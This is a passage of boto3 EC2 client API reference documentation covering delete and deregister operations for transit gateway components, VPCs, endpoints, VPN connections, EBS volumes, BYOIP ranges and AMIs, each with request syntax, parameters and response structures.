datetime(2015, 1, 1), + 'Options': { + 'Protocol': 'gre' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayConnect** _(dict) --_ + + Information about the deleted Connect attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the Connect attachment. + + * **TransportTransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment from which the Connect attachment was created. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **State** _(string) --_ + + The state of the attachment. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The Connect attachment options. + + * **Protocol** _(string) --_ + + The tunnel protocol. + + * **Tags** _(list) --_ + + The tags for the attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_transit_gateway_connect_peer(kwargs_) + +Deletes the specified Connect peer. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGatewayConnectPeer) + +**Request Syntax** + +response = client.delete_transit_gateway_connect_peer( + TransitGatewayConnectPeerId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayConnectPeerId** (_string_) -- + + **[REQUIRED]** + + The ID of the Connect peer. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayConnectPeer': { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayConnectPeerId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'CreationTime': datetime(2015, 1, 1), + 'ConnectPeerConfiguration': { + 'TransitGatewayAddress': 'string', + 'PeerAddress': 'string', + 'InsideCidrBlocks': [ + 'string', + ], + 'Protocol': 'gre', + 'BgpConfigurations': [ + { + 'TransitGatewayAsn': 123, + 'PeerAsn': 123, + 'TransitGatewayAddress': 'string', + 'PeerAddress': 'string', + 'BgpStatus': 'up'|'down' + }, + ] + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayConnectPeer** _(dict) --_ + + Information about the deleted Connect peer. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the Connect attachment. + + * **TransitGatewayConnectPeerId** _(string) --_ + + The ID of the Connect peer. + + * **State** _(string) --_ + + The state of the Connect peer. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **ConnectPeerConfiguration** _(dict) --_ + + The Connect peer details. + + * **TransitGatewayAddress** _(string) --_ + + The Connect peer IP address on the transit gateway side of the tunnel. + + * **PeerAddress** _(string) --_ + + The Connect peer IP address on the appliance side of the tunnel. + + * **InsideCidrBlocks** _(list) --_ + + The range of interior BGP peer IP addresses. + + * _(string) --_ + * **Protocol** _(string) --_ + + The tunnel protocol. + + * **BgpConfigurations** _(list) --_ + + The BGP configuration details. + + * _(dict) --_ + + The BGP configuration information. + + * **TransitGatewayAsn** _(integer) --_ + + The transit gateway Autonomous System Number (ASN). + + * **PeerAsn** _(integer) --_ + + The peer Autonomous System Number (ASN). + + * **TransitGatewayAddress** _(string) --_ + + The interior BGP peer IP address for the transit gateway. + + * **PeerAddress** _(string) --_ + + The interior BGP peer IP address for the appliance. + + * **BgpStatus** _(string) --_ + + The BGP status. + + * **Tags** _(list) --_ + + The tags for the Connect peer. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_transit_gateway_multicast_domain(kwargs_) + +Deletes the specified transit gateway multicast domain. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGatewayMulticastDomain) + +**Request Syntax** + +response = client.delete_transit_gateway_multicast_domain( + TransitGatewayMulticastDomainId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway multicast domain. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayMulticastDomain': { + 'TransitGatewayMulticastDomainId': 'string', + 'TransitGatewayId': 'string', + 'TransitGatewayMulticastDomainArn': 'string', + 'OwnerId': 'string', + 'Options': { + 'Igmpv2Support': 'enable'|'disable', + 'StaticSourcesSupport': 'enable'|'disable', + 'AutoAcceptSharedAssociations': 'enable'|'disable' + }, + 'State': 'pending'|'available'|'deleting'|'deleted', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayMulticastDomain** _(dict) --_ + + Information about the deleted transit gateway multicast domain. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **TransitGatewayMulticastDomainArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway multicast domain. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway multiicast domain. + + * **Options** _(dict) --_ + + The options for the transit gateway multicast domain. + + * **Igmpv2Support** _(string) --_ + + Indicates whether Internet Group Management Protocol (IGMP) version 2 is turned on for the transit gateway multicast domain. + + * **StaticSourcesSupport** _(string) --_ + + Indicates whether support for statically configuring transit gateway multicast group sources is turned on. + + * **AutoAcceptSharedAssociations** _(string) --_ + + Indicates whether to automatically cross-account subnet associations that are associated with the transit gateway multicast domain. + + * **State** _(string) --_ + + The state of the transit gateway multicast domain. + + * **CreationTime** _(datetime) --_ + + The time the transit gateway multicast domain was created. + + * **Tags** _(list) --_ + + The tags for the transit gateway multicast domain. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_transit_gateway_peering_attachment(kwargs_) + +Deletes a transit gateway peering attachment. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGatewayPeeringAttachment) + +**Request Syntax** + +response = client.delete_transit_gateway_peering_attachment( + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway peering attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPeeringAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'RequesterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'AccepterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'string', + 'Message': 'string' + }, + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayPeeringAttachment** _(dict) --_ + + The transit gateway peering attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway peering attachment. + + * **RequesterTgwInfo** _(dict) --_ + + Information about the requester transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + * **Region** _(string) --_ + + The Region of the transit gateway. + + * **AccepterTgwInfo** _(dict) --_ + + Information about the accepter transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + * **Region** _(string) --_ + + The Region of the transit gateway. + + * **Status** _(dict) --_ + + The status of the transit gateway peering attachment. + + * **Code** _(string) --_ + + The status code. + + * **Message** _(string) --_ + + The status message, if applicable. + + * **State** _(string) --_ + + The state of the transit gateway peering attachment. Note that the initiating state has been deprecated. + + * **CreationTime** _(datetime) --_ + + The time the transit gateway peering attachment was created. + + * **Tags** _(list) --_ + + The tags for the transit gateway peering attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_transit_gateway_prefix_list_reference(kwargs_) + +Deletes a reference (route) to a prefix list in a specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGatewayPrefixListReference) + +**Request Syntax** + +response = client.delete_transit_gateway_prefix_list_reference( + TransitGatewayRouteTableId='string', + PrefixListId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table. + +* **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPrefixListReference': { + 'TransitGatewayRouteTableId': 'string', + 'PrefixListId': 'string', + 'PrefixListOwnerId': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting', + 'Blackhole': True|False, + 'TransitGatewayAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceId': 'string' + } + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayPrefixListReference** _(dict) --_ + + Information about the deleted prefix list reference. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **PrefixListOwnerId** _(string) --_ + + The ID of the prefix list owner. + + * **State** _(string) --_ + + The state of the prefix list reference. + + * **Blackhole** _(boolean) --_ + + Indicates whether traffic that matches this route is dropped. + + * **TransitGatewayAttachment** _(dict) --_ + + Information about the transit gateway attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +delete_transit_gateway_route(kwargs_) + +Deletes the specified route from the specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGatewayRoute) + +**Request Syntax** + +response = client.delete_transit_gateway_route( + TransitGatewayRouteTableId='string', + DestinationCidrBlock='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The CIDR range for the route. This must match the CIDR for the route exactly. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Route': { + 'DestinationCidrBlock': 'string', + 'PrefixListId': 'string', + 'TransitGatewayAttachments': [ + { + 'ResourceId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering' + }, + ], + 'Type': 'static'|'propagated', + 'State': 'pending'|'active'|'blackhole'|'deleting'|'deleted' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Route** _(dict) --_ + + Information about the route. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block used for destination matches. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list used for destination matches. + + * **TransitGatewayAttachments** _(list) --_ + + The attachments. + + * _(dict) --_ + + Describes a route attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **Type** _(string) --_ + + The route type. + + * **State** _(string) --_ + + The state of the route. + + +delete_transit_gateway_route_table(kwargs_) + +Deletes the specified transit gateway route table. You must disassociate the route table from any transit gateway route tables before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGatewayRouteTable) + +**Request Syntax** + +response = client.delete_transit_gateway_route_table( + TransitGatewayRouteTableId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayRouteTable': { + 'TransitGatewayRouteTableId': 'string', + 'TransitGatewayId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'DefaultAssociationRouteTable': True|False, + 'DefaultPropagationRouteTable': True|False, + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayRouteTable** _(dict) --_ + + Information about the deleted transit gateway route table. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **State** _(string) --_ + + The state of the transit gateway route table. + + * **DefaultAssociationRouteTable** _(boolean) --_ + + Indicates whether this is the default association route table for the transit gateway. + + * **DefaultPropagationRouteTable** _(boolean) --_ + + Indicates whether this is the default propagation route table for the transit gateway. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Tags** _(list) --_ + + Any tags assigned to the route table. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_transit_gateway_vpc_attachment(kwargs_) + +Deletes the specified VPC attachment. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGatewayVpcAttachment) + +**Request Syntax** + +response = client.delete_transit_gateway_vpc_attachment( + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayVpcAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'VpcId': 'string', + 'VpcOwnerId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'SubnetIds': [ + 'string', + ], + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'DnsSupport': 'enable'|'disable', + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayVpcAttachment** _(dict) --_ + + Information about the deleted VPC attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **VpcOwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + * **State** _(string) --_ + + The state of the VPC attachment. Note that the initiating state has been deprecated. + + * **SubnetIds** _(list) --_ + + The IDs of the subnets. + + * _(string) --_ + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The VPC attachment options. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **Ipv6Support** _(string) --_ + + Indicates whether IPv6 support is disabled. + + * **ApplianceModeSupport** _(string) --_ + + Indicates whether appliance mode support is enabled. + + * **Tags** _(list) --_ + + The tags for the VPC attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_volume(kwargs_) + +Deletes the specified EBS volume. The volume must be in the available state (not attached to an instance). + +The volume can remain in the deleting state for several minutes. + +For more information, see [Deleting an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVolume) + +**Request Syntax** + +response = client.delete_volume( + VolumeId='string', + DryRun=True|False +) + +Parameters + +* **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes an available volume with the volume ID of vol-049df61146c4d7901. If the command succeeds, no output is returned. + +response = client.delete_volume( + VolumeId='vol-049df61146c4d7901', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_vpc(kwargs_) + +Deletes the specified VPC. You must detach or delete all gateways and resources that are associated with the VPC before you can delete it. For example, you must terminate all instances running in the VPC, delete all security groups associated with the VPC (except the default one), delete all route tables associated with the VPC (except the default one), and so on. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpc) + +**Request Syntax** + +response = client.delete_vpc( + VpcId='string', + DryRun=True|False +) + +Parameters + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes the specified VPC. + +response = client.delete_vpc( + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_vpc_endpoint_connection_notifications(kwargs_) + +Deletes one or more VPC endpoint connection notifications. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpcEndpointConnectionNotifications) + +**Request Syntax** + +response = client.delete_vpc_endpoint_connection_notifications( + DryRun=True|False, + ConnectionNotificationIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ConnectionNotificationIds** (_list_) -- + + **[REQUIRED]** + + One or more notification IDs. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Unsuccessful** _(list) --_ + + Information about the notifications that could not be deleted successfully. + + * _(dict) --_ + + Information about items that were not successfully processed in a batch call. + + * **Error** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message accompanying the error code. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +delete_vpc_endpoint_service_configurations(kwargs_) + +Deletes one or more VPC endpoint service configurations in your account. Before you delete the endpoint service configuration, you must reject any Available or PendingAcceptance interface endpoint connections that are attached to the service. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpcEndpointServiceConfigurations) + +**Request Syntax** + +response = client.delete_vpc_endpoint_service_configurations( + DryRun=True|False, + ServiceIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceIds** (_list_) -- + + **[REQUIRED]** + + The IDs of one or more services. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Unsuccessful** _(list) --_ + + Information about the service configurations that were not deleted, if applicable. + + * _(dict) --_ + + Information about items that were not successfully processed in a batch call. + + * **Error** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message accompanying the error code. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +delete_vpc_endpoints(kwargs_) + +Deletes one or more specified VPC endpoints. Deleting a gateway endpoint also deletes the endpoint routes in the route tables that were associated with the endpoint. Deleting an interface endpoint or a Gateway Load Balancer endpoint deletes the endpoint network interfaces. Gateway Load Balancer endpoints can only be deleted if the routes that are associated with the endpoint are deleted. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpcEndpoints) + +**Request Syntax** + +response = client.delete_vpc_endpoints( + DryRun=True|False, + VpcEndpointIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcEndpointIds** (_list_) -- + + **[REQUIRED]** + + One or more VPC endpoint IDs. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DeleteVpcEndpoints. + + * **Unsuccessful** _(list) --_ + + Information about the VPC endpoints that were not successfully deleted. + + * _(dict) --_ + + Information about items that were not successfully processed in a batch call. + + * **Error** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message accompanying the error code. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +delete_vpc_peering_connection(kwargs_) + +Deletes a VPC peering connection. Either the owner of the requester VPC or the owner of the accepter VPC can delete the VPC peering connection if it's in the active state. The owner of the requester VPC can delete a VPC peering connection in the pending-acceptance state. You cannot delete a VPC peering connection that's in the failed state. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpcPeeringConnection) + +**Request Syntax** + +response = client.delete_vpc_peering_connection( + DryRun=True|False, + VpcPeeringConnectionId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC peering connection. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +delete_vpn_connection(kwargs_) + +Deletes the specified VPN connection. + +If you're deleting the VPC and its associated components, we recommend that you detach the virtual private gateway from the VPC and delete the VPC before deleting the VPN connection. If you believe that the tunnel credentials for your VPN connection have been compromised, you can delete the VPN connection and create a new one that has new keys, without needing to delete the VPC or virtual private gateway. If you create a new VPN connection, you must reconfigure the customer gateway device using the new configuration information returned with the new VPN connection ID. + +For certificate-based authentication, delete all AWS Certificate Manager (ACM) private certificates used for the AWS-side tunnel endpoints for the VPN connection before deleting the VPN connection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpnConnection) + +**Request Syntax** + +response = client.delete_vpn_connection( + VpnConnectionId='string', + DryRun=True|False +) + +Parameters + +* **VpnConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPN connection. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +delete_vpn_connection_route(kwargs_) + +Deletes the specified static route associated with a VPN connection between an existing virtual private gateway and a VPN customer gateway. The static route allows traffic to be routed from the virtual private gateway to the VPN customer gateway. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpnConnectionRoute) + +**Request Syntax** + +response = client.delete_vpn_connection_route( + DestinationCidrBlock='string', + VpnConnectionId='string' +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The CIDR block associated with the local subnet of the customer network. + +* **VpnConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPN connection. + + +Returns + +None + +delete_vpn_gateway(kwargs_) + +Deletes the specified virtual private gateway. You must first detach the virtual private gateway from the VPC. Note that you don't need to delete the virtual private gateway if you plan to delete and recreate the VPN connection between your VPC and your network. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpnGateway) + +**Request Syntax** + +response = client.delete_vpn_gateway( + VpnGatewayId='string', + DryRun=True|False +) + +Parameters + +* **VpnGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the virtual private gateway. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +deprovision_byoip_cidr(kwargs_) + +Releases the specified address range that you provisioned for use with your AWS resources through bring your own IP addresses (BYOIP) and deletes the corresponding address pool. + +Before you can release an address range, you must stop advertising it using WithdrawByoipCidr and you must not have any IP addresses allocated from its address range. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeprovisionByoipCidr) + +**Request Syntax** + +response = client.deprovision_byoip_cidr( + Cidr='string', + DryRun=True|False +) + +Parameters + +* **Cidr** (_string_) -- + + **[REQUIRED]** + + The address range, in CIDR notation. The prefix must be the same prefix that you specified when you provisioned the address range. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ByoipCidr': { + 'Cidr': 'string', + 'Description': 'string', + 'StatusMessage': 'string', + 'State': 'advertised'|'deprovisioned'|'failed-deprovision'|'failed-provision'|'pending-deprovision'|'pending-provision'|'provisioned'|'provisioned-not-publicly-advertisable' + } +} + +**Response Structure** + +* _(dict) --_ + + * **ByoipCidr** _(dict) --_ + + Information about the address range. + + * **Cidr** _(string) --_ + + The address range, in CIDR notation. + + * **Description** _(string) --_ + + The description of the address range. + + * **StatusMessage** _(string) --_ + + Upon success, contains the ID of the address pool. Otherwise, contains an error message. + + * **State** _(string) --_ + + The state of the address pool. + + +deregister_image(kwargs_) + +Deregisters the specified AMI. After you deregister an AMI, it can't be used to launch new instances; however, it doesn't affect any instances that you've already launched from the AMI. You'll continue to incur usage costs for those instances until you terminate them. + +When you deregister an Amazon EBS-backed AMI, it doesn't affect the snapshot that was created for the root volume of the instance during the AMI creation process. When you deregister an instance store-backed AMI, it doesn't affect the files that you uploaded to Amazon S3 when you created the AMI. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeregisterImage) + +**Request Syntax** + +response = client.deregister_image( + ImageId='string', + DryRun=True|False +) + +Parameters + +* **ImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the AMI. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +deregister_instance_event_notification_attributes(kwargs_)definition") + +Deregisters tag keys to prevent tags that have the specified tag keys from being included in scheduled event notifications for resources in the Region. + +See also: [AWS API 